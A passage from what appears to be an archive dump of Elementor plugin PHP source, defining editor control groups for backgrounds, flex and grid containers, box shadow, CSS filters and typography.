'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'scroll' => esc_html_x( 'Scroll', 'Background Control', 'elementor' ), 'fixed' => esc_html_x( 'Fixed', 'Background Control', 'elementor' ), ], 'selectors' => [ '(desktop+){{SELECTOR}}' => 'background-attachment: {{VALUE}};', ], 'condition' => [ 'background' => [ 'classic' ], 'image[url]!' => '', ], ]; $fields['attachment_alert'] = [ 'type' => Controls_Manager::RAW_HTML, 'content_classes' => 'elementor-control-field-description', 'raw' => esc_html__( 'Note: Attachment Fixed works only on desktop.', 'elementor' ), 'condition' => [ 'background' => [ 'classic' ], 'image[url]!' => '', 'attachment' => 'fixed', ], ]; $fields['repeat'] = [ 'label' => esc_html_x( 'Repeat', 'Background Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'responsive' => true, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'no-repeat' => esc_html__( 'No-repeat', 'elementor' ), 'repeat' => esc_html__( 'Repeat', 'elementor' ), 'repeat-x' => esc_html__( 'Repeat-x', 'elementor' ), 'repeat-y' => esc_html__( 'Repeat-y', 'elementor' ), ], 'selectors' => [ '{{SELECTOR}}' => 'background-repeat: {{VALUE}};', ], 'condition' => [ 'background' => [ 'classic' ], 'image[url]!' => '', ], ]; $fields['size'] = [ 'label' => esc_html__( 'Display Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'responsive' => true, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'auto' => esc_html__( 'Auto', 'elementor' ), 'cover' => esc_html__( 'Cover', 'elementor' ), 'contain' => esc_html__( 'Contain', 'elementor' ), 'initial' => esc_html__( 'Custom', 'elementor' ), ], 'selectors' => [ '{{SELECTOR}}' => 'background-size: {{VALUE}};', ], 'condition' => [ 'background' => [ 'classic' ], 'image[url]!' => '', ], ]; $fields['bg_width'] = [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'responsive' => true, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 1000, ], ], 'default' => [ 'size' => 100, 'unit' => '%', ], 'required' => true, 'selectors' => [ '{{SELECTOR}}' => 'background-size: {{SIZE}}{{UNIT}} auto', ], 'condition' => [ 'background' => [ 'classic' ], 'size' => [ 'initial' ], 'image[url]!' => '', ], ]; $fields['video_link'] = [ 'label' => esc_html__( 'Video Link', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => 'https://www.youtube.com/watch?v=XHOmBV4js_E', 'description' => esc_html__( 'YouTube/Vimeo link, or link to video file (mp4 is recommended).', 'elementor' ), 'label_block' => true, 'default' => '', 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'ai' => [ 'active' => false, ], 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; $fields['video_start'] = [ 'label' => esc_html__( 'Start Time', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Specify a start time (in seconds)', 'elementor' ), 'placeholder' => 10, 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; $fields['video_end'] = [ 'label' => esc_html__( 'End Time', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Specify an end time (in seconds)', 'elementor' ), 'placeholder' => 70, 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; $fields['play_once'] = [ 'label' => esc_html__( 'Play Once', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; $fields['play_on_mobile'] = [ 'label' => esc_html__( 'Play On Mobile', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; // This control was added to handle a bug with the Youtube Embed API. The bug: If there is a video with Privacy // Mode on, and at the same time the page contains another video WITHOUT privacy mode on, one of the videos // will not run properly. This added control allows users to align all their videos to one host (either // youtube.com or youtube-nocookie.com, depending on whether the user wants privacy mode on or not). $fields['privacy_mode'] = [ 'label' => esc_html__( 'Privacy Mode', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'background' => [ 'video' ], ], 'of_type' => 'video', 'frontend_available' => true, ]; $fields['video_fallback'] = [ 'label' => esc_html__( 'Background Fallback', 'elementor' ), 'description' => esc_html__( 'This cover image will replace the background video in case that the video could not be loaded.', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, ], 'condition' => [ 'background' => [ 'video' ], ], 'selectors' => [ '{{SELECTOR}}' => 'background: url("{{URL}}") 50% 50%; background-size: cover;', ], 'of_type' => 'video', ]; $fields['slideshow_gallery'] = [ 'label' => esc_html__( 'Images', 'elementor' ), 'type' => Controls_Manager::GALLERY, 'condition' => [ 'background' => [ 'slideshow' ], ], 'show_label' => false, 'of_type' => 'slideshow', 'frontend_available' => true, ]; $fields['slideshow_loop'] = [ 'label' => esc_html__( 'Infinite Loop', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'condition' => [ 'background' => [ 'slideshow' ], ], 'of_type' => 'slideshow', 'frontend_available' => true, ]; $fields['slideshow_slide_duration'] = [ 'label' => esc_html__( 'Duration', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::NUMBER, 'default' => 5000, 'condition' => [ 'background' => [ 'slideshow' ], ], 'frontend_available' => true, ]; $fields['slideshow_slide_transition'] = [ 'label' => esc_html__( 'Transition', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'fade', 'options' => [ 'fade' => 'Fade', 'slide_right' => 'Slide Right', 'slide_left' => 'Slide Left', 'slide_up' => 'Slide Up', 'slide_down' => 'Slide Down', ], 'condition' => [ 'background' => [ 'slideshow' ], ], 'of_type' => 'slideshow', 'frontend_available' => true, ]; $fields['slideshow_transition_duration'] = [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::NUMBER, 'default' => 500, 'condition' => [ 'background' => [ 'slideshow' ], ], 'frontend_available' => true, ]; $fields['slideshow_background_size'] = [ 'label' => esc_html__( 'Background Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'responsive' => true, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'auto' => esc_html__( 'Auto', 'elementor' ), 'cover' => esc_html__( 'Cover', 'elementor' ), 'contain' => esc_html__( 'Contain', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}} .elementor-background-slideshow__slide__image' => 'background-size: {{VALUE}};', ], 'condition' => [ 'background' => [ 'slideshow' ], ], ]; $fields['slideshow_background_position'] = [ 'label' => esc_html__( 'Background Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'responsive' => true, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'center center' => esc_html__( 'Center Center', 'elementor' ), 'center left' => esc_html__( 'Center Left', 'elementor' ), 'center right' => esc_html__( 'Center Right', 'elementor' ), 'top center' => esc_html__( 'Top Center', 'elementor' ), 'top left' => esc_html__( 'Top Left', 'elementor' ), 'top right' => esc_html__( 'Top Right', 'elementor' ), 'bottom center' => esc_html__( 'Bottom Center', 'elementor' ), 'bottom left' => esc_html__( 'Bottom Left', 'elementor' ), 'bottom right' => esc_html__( 'Bottom Right', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}} .elementor-background-slideshow__slide__image' => 'background-position: {{VALUE}};', ], 'condition' => [ 'background' => [ 'slideshow' ], ], ]; $fields['slideshow_lazyload'] = [ 'label' => esc_html__( 'Lazyload', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'separator' => 'before', 'condition' => [ 'background' => [ 'slideshow' ], ], 'of_type' => 'slideshow', 'frontend_available' => true, ]; $fields['slideshow_ken_burns'] = [ 'label' => esc_html__( 'Ken Burns Effect', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'separator' => 'before', 'condition' => [ 'background' => [ 'slideshow' ], ], 'of_type' => 'slideshow', 'frontend_available' => true, ]; $fields['slideshow_ken_burns_zoom_direction'] = [ 'label' => esc_html__( 'Direction', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'in', 'options' => [ 'in' => esc_html__( 'In', 'elementor' ), 'out' => esc_html__( 'Out', 'elementor' ), ], 'condition' => [ 'background' => [ 'slideshow' ], 'slideshow_ken_burns!' => '', ], 'of_type' => 'slideshow', 'frontend_available' => true, ]; return $fields; } /** * Get child default args. * * Retrieve the default arguments for all the child controls for a specific group * control. * * @since 1.2.2 * @access protected * * @return array Default arguments for all the child controls. */ protected function get_child_default_args() { return [ 'types' => [ 'classic', 'gradient' ], 'selector' => '{{WRAPPER}}:not(.elementor-motion-effects-element-type-background), {{WRAPPER}} > .elementor-motion-effects-container > .elementor-motion-effects-layer', ]; } /** * Filter fields. * * Filter which controls to display, using `include`, `exclude`, `condition` * and `of_type` arguments. * * @since 1.2.2 * @access protected * * @return array Control fields. */ protected function filter_fields() { $fields = parent::filter_fields(); $args = $this->get_args(); foreach ( $fields as &$field ) { if ( isset( $field['of_type'] ) && ! in_array( $field['of_type'], $args['types'] ) ) { unset( $field ); } } return $fields; } /** * Prepare fields. * * Process background control fields before adding them to `add_control()`. * * @since 1.2.2 * @access protected * * @param array $fields Background control fields. * * @return array Processed fields. */ protected function prepare_fields( $fields ) { $args = $this->get_args(); $background_types = self::get_background_types(); $choose_types = []; foreach ( $args['types'] as $type ) { if ( isset( $background_types[ $type ] ) ) { $choose_types[ $type ] = $background_types[ $type ]; } } $fields['background']['options'] = $choose_types; return parent::prepare_fields( $fields ); } /** * Get default options. * * Retrieve the default options of the background control. Used to return the * default options while initializing the background control. * * @since 1.9.0 * @access protected * * @return array Default background control options. */ protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/groups/flex-container.php000064400000016155147206604650015205 0ustar00 Controls_Manager::HEADING, 'label' => esc_html__( 'Items', 'elementor' ), 'separator' => 'before', ]; $fields['direction'] = [ 'label' => esc_html__( 'Direction', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'row' => [ 'title' => esc_html__( 'Row - horizontal', 'elementor' ), 'icon' => 'eicon-arrow-' . $end, ], 'column' => [ 'title' => esc_html__( 'Column - vertical', 'elementor' ), 'icon' => 'eicon-arrow-down', ], 'row-reverse' => [ 'title' => esc_html__( 'Row - reversed', 'elementor' ), 'icon' => 'eicon-arrow-' . $start, ], 'column-reverse' => [ 'title' => esc_html__( 'Column - reversed', 'elementor' ), 'icon' => 'eicon-arrow-up', ], ], 'default' => '', // The `--container-widget-width` CSS variable is used for handling widgets that get an undefined width in column mode. // The `--container-widget-flex-grow` CSS variable is used to give certain widgets a default `flex-grow: 1` value for the `flex row` combination. 'selectors_dictionary' => [ 'row' => '--flex-direction: row; --container-widget-width: initial; --container-widget-height: 100%; --container-widget-flex-grow: 1; --container-widget-align-self: stretch; --flex-wrap-mobile: wrap;', 'column' => '--flex-direction: column; --container-widget-width: 100%; --container-widget-height: initial; --container-widget-flex-grow: 0; --container-widget-align-self: initial; --flex-wrap-mobile: wrap;', 'row-reverse' => '--flex-direction: row-reverse; --container-widget-width: initial; --container-widget-height: 100%; --container-widget-flex-grow: 1; --container-widget-align-self: stretch; --flex-wrap-mobile: wrap-reverse;', 'column-reverse' => '--flex-direction: column-reverse; --container-widget-width: 100%; --container-widget-height: initial; --container-widget-flex-grow: 0; --container-widget-align-self: initial; --flex-wrap-mobile: wrap;', ], 'selectors' => [ '{{SELECTOR}}' => '{{VALUE}};', ], 'responsive' => true, ]; // Only use the flex direction prefix class inside the editor. $flex_direction_prefix_class = Plugin::$instance->editor->is_edit_mode() ? [ 'prefix_class' => 'e-con--' ] : []; $fields['_is_row'] = array_merge( $flex_direction_prefix_class, [ 'type' => Controls_Manager::HIDDEN, 'default' => 'row', 'condition' => [ 'direction' => [ 'row', 'row-reverse', ], ], ] ); $fields['_is_column'] = array_merge( $flex_direction_prefix_class, [ 'type' => Controls_Manager::HIDDEN, 'default' => 'column', 'condition' => [ 'direction' => [ '', 'column', 'column-reverse', ], ], ] ); $fields['justify_content'] = [ 'label' => esc_html__( 'Justify Content', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'label_block' => true, 'default' => '', 'options' => [ 'flex-start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-start-h', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-center-h', ], 'flex-end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-end-h', ], 'space-between' => [ 'title' => esc_html__( 'Space Between', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-space-between-h', ], 'space-around' => [ 'title' => esc_html__( 'Space Around', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-space-around-h', ], 'space-evenly' => [ 'title' => esc_html__( 'Space Evenly', 'elementor' ), 'icon' => 'eicon-flex eicon-justify-space-evenly-h', ], ], 'selectors' => [ '{{SELECTOR}}' => '--justify-content: {{VALUE}};', ], 'responsive' => true, ]; $fields['align_items'] = [ 'label' => esc_html__( 'Align Items', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => '', 'options' => [ 'flex-start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-flex eicon-align-start-v', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-flex eicon-align-center-v', ], 'flex-end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-flex eicon-align-end-v', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-flex eicon-align-stretch-v', ], ], 'selectors' => [ '{{SELECTOR}}' => '--align-items: {{VALUE}}; --container-widget-width: calc( ( 1 - var( --container-widget-flex-grow ) ) * 100% );', ], 'responsive' => true, ]; $fields['gap'] = [ 'label' => esc_html__( 'Gaps', 'elementor' ), 'type' => Controls_Manager::GAPS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'unit' => 'px', ], 'separator' => 'before', 'selectors' => [ '{{SELECTOR}}' => '--gap: {{ROW}}{{UNIT}} {{COLUMN}}{{UNIT}}', ], 'responsive' => true, 'conversion_map' => [ 'old_key' => 'size', 'new_key' => 'column', ], 'upgrade_conversion_map' => [ 'old_key' => 'size', 'new_keys' => [ 'column', 'row' ], ], 'validators' => [ 'Number' => [ 'min' => 0, ], ], ]; $fields['wrap'] = [ 'label' => esc_html__( 'Wrap', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'nowrap' => [ 'title' => esc_html__( 'No Wrap', 'elementor' ), 'icon' => 'eicon-flex eicon-nowrap', ], 'wrap' => [ 'title' => esc_html__( 'Wrap', 'elementor' ), 'icon' => 'eicon-flex eicon-wrap', ], ], 'description' => esc_html__( 'Items within the container can stay in a single line (No wrap), or break into multiple lines (Wrap).', 'elementor' ), 'default' => '', 'selectors' => [ '{{SELECTOR}}' => '--flex-wrap: {{VALUE}};', ], 'responsive' => true, ]; $fields['align_content'] = [ 'label' => esc_html__( 'Align Content', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'center' => esc_html__( 'Center', 'elementor' ), 'flex-start' => esc_html__( 'Start', 'elementor' ), 'flex-end' => esc_html__( 'End', 'elementor' ), 'space-between' => esc_html__( 'Space Between', 'elementor' ), 'space-around' => esc_html__( 'Space Around', 'elementor' ), 'space-evenly' => esc_html__( 'Space Evenly', 'elementor' ), ], 'selectors' => [ '{{SELECTOR}}' => '--align-content: {{VALUE}};', ], 'condition' => [ 'wrap' => 'wrap', ], 'responsive' => true, ]; return $fields; } protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/groups/grid-container.php000064400000020210147206604650015157 0ustar00 Controls_Manager::HEADING, 'label' => esc_html__( 'Items', 'elementor' ), 'separator' => 'before', ]; $fields['outline'] = [ 'label' => esc_html__( 'Grid Outline', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), 'default' => 'yes', 'editor_available' => true, ]; $responsive_unit_defaults = $this->get_responsive_unit_defaults(); $fields['columns_grid'] = [ 'label' => esc_html__( 'Columns', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'fr' => [ 'min' => 1, 'max' => 12, 'step' => 1, ], ], 'size_units' => [ 'fr', 'custom' ], 'unit_selectors_dictionary' => [ 'custom' => '--e-con-grid-template-columns: {{SIZE}}', ], 'default' => [ 'unit' => 'fr', 'size' => 3, ], 'mobile_default' => [ 'unit' => 'fr', 'size' => 1, ], 'selectors' => [ '{{SELECTOR}}' => '--e-con-grid-template-columns: repeat({{SIZE}}, 1fr)', ], 'responsive' => true, 'editor_available' => true, ] + $responsive_unit_defaults; $fields['rows_grid'] = [ 'label' => esc_html__( 'Rows', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'fr' => [ 'min' => 1, 'max' => 12, 'step' => 1, ], ], 'size_units' => [ 'fr', 'custom' ], 'unit_selectors_dictionary' => [ 'custom' => '--e-con-grid-template-rows: {{SIZE}}', ], 'default' => [ 'unit' => 'fr', 'size' => 2, ], 'selectors' => [ '{{SELECTOR}}' => '--e-con-grid-template-rows: repeat({{SIZE}}, 1fr)', ], 'responsive' => true, 'editor_available' => true, ] + $responsive_unit_defaults; $fields['gaps'] = [ 'label' => esc_html__( 'Gaps', 'elementor' ), 'type' => Controls_Manager::GAPS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'unit' => 'px', ], 'separator' => 'before', 'selectors' => [ '{{SELECTOR}}' => '--gap: {{ROW}}{{UNIT}} {{COLUMN}}{{UNIT}}', ], 'responsive' => true, 'validators' => [ 'Number' => [ 'min' => 0, ], ], ]; $fields['auto_flow'] = [ 'label' => esc_html__( 'Auto Flow', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'row' => esc_html__( 'Row', 'elementor' ), 'column' => esc_html__( 'Column', 'elementor' ), ], 'default' => 'row', 'separator' => 'before', 'selectors' => [ '{{SELECTOR}}' => '--grid-auto-flow: {{VALUE}}', ], 'responsive' => true, 'editor_available' => true, ] + $this->get_responsive_autoflow_defaults(); $fields['justify_items'] = [ 'label' => esc_html__( 'Justify Items', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-align-' . $icon_start . '-h', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-align-' . $icon_end . '-h', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-h', ], ], 'default' => '', 'selectors' => [ '{{SELECTOR}}' => '--justify-items: {{VALUE}};', ], 'responsive' => true, ]; $fields['align_items'] = [ 'label' => esc_html__( 'Align Items', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-align-start-v', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-v', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-align-end-v', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-v', ], ], 'selectors' => [ '{{SELECTOR}}' => '--align-items: {{VALUE}};', ], 'responsive' => true, ]; $fields['justify_content'] = [ 'label' => esc_html__( 'Justify Content', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'label_block' => true, 'default' => '', 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-justify-start-h', ], 'center' => [ 'title' => esc_html__( 'Middle', 'elementor' ), 'icon' => 'eicon-justify-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-justify-end-h', ], 'space-between' => [ 'title' => esc_html__( 'Space Between', 'elementor' ), 'icon' => 'eicon-justify-space-between-h', ], 'space-around' => [ 'title' => esc_html__( 'Space Around', 'elementor' ), 'icon' => 'eicon-justify-space-around-h', ], 'space-evenly' => [ 'title' => esc_html__( 'Space Evenly', 'elementor' ), 'icon' => 'eicon-justify-space-evenly-h', ], ], 'selectors' => [ '{{SELECTOR}}' => '--grid-justify-content: {{VALUE}};', ], 'condition' => [ 'columns_grid[unit]' => 'custom', ], 'responsive' => true, ]; $fields['align_content'] = [ 'label' => esc_html__( 'Align Content', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'label_block' => true, 'default' => '', 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-justify-start-v', ], 'center' => [ 'title' => esc_html__( 'Middle', 'elementor' ), 'icon' => 'eicon-justify-center-v', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-justify-end-v', ], 'space-between' => [ 'title' => esc_html__( 'Space Between', 'elementor' ), 'icon' => 'eicon-justify-space-between-v', ], 'space-around' => [ 'title' => esc_html__( 'Space Around', 'elementor' ), 'icon' => 'eicon-justify-space-around-v', ], 'space-evenly' => [ 'title' => esc_html__( 'Space Evenly', 'elementor' ), 'icon' => 'eicon-justify-space-evenly-v', ], ], 'selectors' => [ '{{SELECTOR}}' => '--grid-align-content: {{VALUE}};', ], 'condition' => [ 'rows_grid[unit]' => 'custom', ], 'responsive' => true, ]; // Only use the auto flow prefix class inside the editor. $auto_flow_prefix_class = Plugin::$instance->editor->is_edit_mode() ? [ 'prefix_class' => 'e-con--' ] : []; $fields['_is_row'] = array_merge( $auto_flow_prefix_class, [ 'type' => Controls_Manager::HIDDEN, 'default' => 'row', 'condition' => [ 'auto_flow' => [ 'row', ], ], ] ); $fields['_is_column'] = array_merge( $auto_flow_prefix_class, [ 'type' => Controls_Manager::HIDDEN, 'default' => 'column', 'condition' => [ 'auto_flow' => [ 'column', ], ], ] ); return $fields; } protected function get_responsive_unit_defaults() { $responsive_unit_defaults = []; $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $responsive_unit_defaults[ $breakpoint_name . '_default' ] = [ 'unit' => 'fr', ]; } return $responsive_unit_defaults; } protected function get_responsive_autoflow_defaults() { $responsive_autoflow_defaults = []; $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $responsive_autoflow_defaults[ $breakpoint_name . '_default' ] = 'row'; } return $responsive_autoflow_defaults; } protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/groups/box-shadow.php000064400000004437147206604650014342 0ustar00 esc_html__( 'Box Shadow', 'elementor' ), 'type' => Controls_Manager::BOX_SHADOW, 'selectors' => [ '{{SELECTOR}}' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};', ], ]; $controls['box_shadow_position'] = [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ ' ' => esc_html_x( 'Outline', 'Box Shadow Control', 'elementor' ), 'inset' => esc_html_x( 'Inset', 'Box Shadow Control', 'elementor' ), ], 'default' => ' ', 'render_type' => 'ui', ]; return $controls; } /** * Get default options. * * Retrieve the default options of the box shadow control. Used to return the * default options while initializing the box shadow control. * * @since 1.9.0 * @access protected * * @return array Default box shadow control options. */ protected function get_default_options() { return [ 'popover' => [ 'starter_title' => esc_html__( 'Box Shadow', 'elementor' ), 'starter_name' => 'box_shadow_type', 'starter_value' => 'yes', 'settings' => [ 'render_type' => 'ui', ], ], ]; } } includes/controls/groups/css-filter.php000064400000006606147206604650014342 0ustar00 esc_html_x( 'Blur', 'Filter Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'required' => 'true', 'range' => [ 'px' => [ 'min' => 0, 'max' => 10, 'step' => 0.1, ], ], 'default' => [ 'size' => 0, ], 'selectors' => [ '{{SELECTOR}}' => 'filter: brightness( {{brightness.SIZE}}% ) contrast( {{contrast.SIZE}}% ) saturate( {{saturate.SIZE}}% ) blur( {{blur.SIZE}}px ) hue-rotate( {{hue.SIZE}}deg )', ], ]; $controls['brightness'] = [ 'label' => esc_html_x( 'Brightness', 'Filter Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'render_type' => 'ui', 'required' => 'true', 'default' => [ 'size' => 100, ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 200, ], ], ]; $controls['contrast'] = [ 'label' => esc_html_x( 'Contrast', 'Filter Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'render_type' => 'ui', 'required' => 'true', 'default' => [ 'size' => 100, ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 200, ], ], ]; $controls['saturate'] = [ 'label' => esc_html_x( 'Saturation', 'Filter Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'render_type' => 'ui', 'required' => 'true', 'default' => [ 'size' => 100, ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 200, ], ], ]; $controls['hue'] = [ 'label' => esc_html_x( 'Hue', 'Filter Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'render_type' => 'ui', 'required' => 'true', 'default' => [ 'size' => 0, ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 360, ], ], ]; return $controls; } /** * Get default options. * * Retrieve the default options of the CSS filter control. Used to return the * default options while initializing the CSS filter control. * * @since 2.1.0 * @access protected * * @return array Default CSS filter control options. */ protected function get_default_options() { return [ 'popover' => [ 'starter_name' => 'css_filter', 'starter_title' => esc_html__( 'CSS Filters', 'elementor' ), 'settings' => [ 'render_type' => 'ui', ], ], ]; } } includes/controls/groups/typography.php000064400000026417147206604650014477 0ustar00kits_manager->get_active_kit_for_frontend(); /** * Retrieve the settings directly from DB, because of an open issue when a controls group is being initialized * from within another group */ $kit_settings = $kit->get_meta( PageManager::META_KEY ); $default_fonts = isset( $kit_settings['default_generic_fonts'] ) ? $kit_settings['default_generic_fonts'] : 'Sans-serif'; if ( $default_fonts ) { $default_fonts = ', ' . $default_fonts; } $fields['font_family'] = [ 'label' => esc_html_x( 'Family', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::FONT, 'default' => '', 'selector_value' => 'font-family: "{{VALUE}}"' . $default_fonts . ';', ]; $fields['font_size'] = [ 'label' => esc_html_x( 'Size', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 200, ], 'em' => [ 'max' => 20, ], 'rem' => [ 'max' => 20, ], 'vw' => [ 'min' => 0.1, 'max' => 10, 'step' => 0.1, ], ], 'responsive' => true, 'selector_value' => 'font-size: {{SIZE}}{{UNIT}}', ]; $fields['font_weight'] = [ 'label' => esc_html_x( 'Weight', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '100' => '100 ' . esc_html_x( '(Thin)', 'Typography Control', 'elementor' ), '200' => '200 ' . esc_html_x( '(Extra Light)', 'Typography Control', 'elementor' ), '300' => '300 ' . esc_html_x( '(Light)', 'Typography Control', 'elementor' ), '400' => '400 ' . esc_html_x( '(Normal)', 'Typography Control', 'elementor' ), '500' => '500 ' . esc_html_x( '(Medium)', 'Typography Control', 'elementor' ), '600' => '600 ' . esc_html_x( '(Semi Bold)', 'Typography Control', 'elementor' ), '700' => '700 ' . esc_html_x( '(Bold)', 'Typography Control', 'elementor' ), '800' => '800 ' . esc_html_x( '(Extra Bold)', 'Typography Control', 'elementor' ), '900' => '900 ' . esc_html_x( '(Black)', 'Typography Control', 'elementor' ), '' => esc_html__( 'Default', 'elementor' ), 'normal' => esc_html__( 'Normal', 'elementor' ), 'bold' => esc_html__( 'Bold', 'elementor' ), ], ]; $fields = $this->add_font_variables_fields( $fields ); $fields['text_transform'] = [ 'label' => esc_html_x( 'Transform', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'uppercase' => esc_html_x( 'Uppercase', 'Typography Control', 'elementor' ), 'lowercase' => esc_html_x( 'Lowercase', 'Typography Control', 'elementor' ), 'capitalize' => esc_html_x( 'Capitalize', 'Typography Control', 'elementor' ), 'none' => esc_html__( 'Normal', 'elementor' ), ], ]; $fields['font_style'] = [ 'label' => esc_html_x( 'Style', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'normal' => esc_html__( 'Normal', 'elementor' ), 'italic' => esc_html_x( 'Italic', 'Typography Control', 'elementor' ), 'oblique' => esc_html_x( 'Oblique', 'Typography Control', 'elementor' ), ], ]; $fields['text_decoration'] = [ 'label' => esc_html_x( 'Decoration', 'Typography Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'underline' => esc_html_x( 'Underline', 'Typography Control', 'elementor' ), 'overline' => esc_html_x( 'Overline', 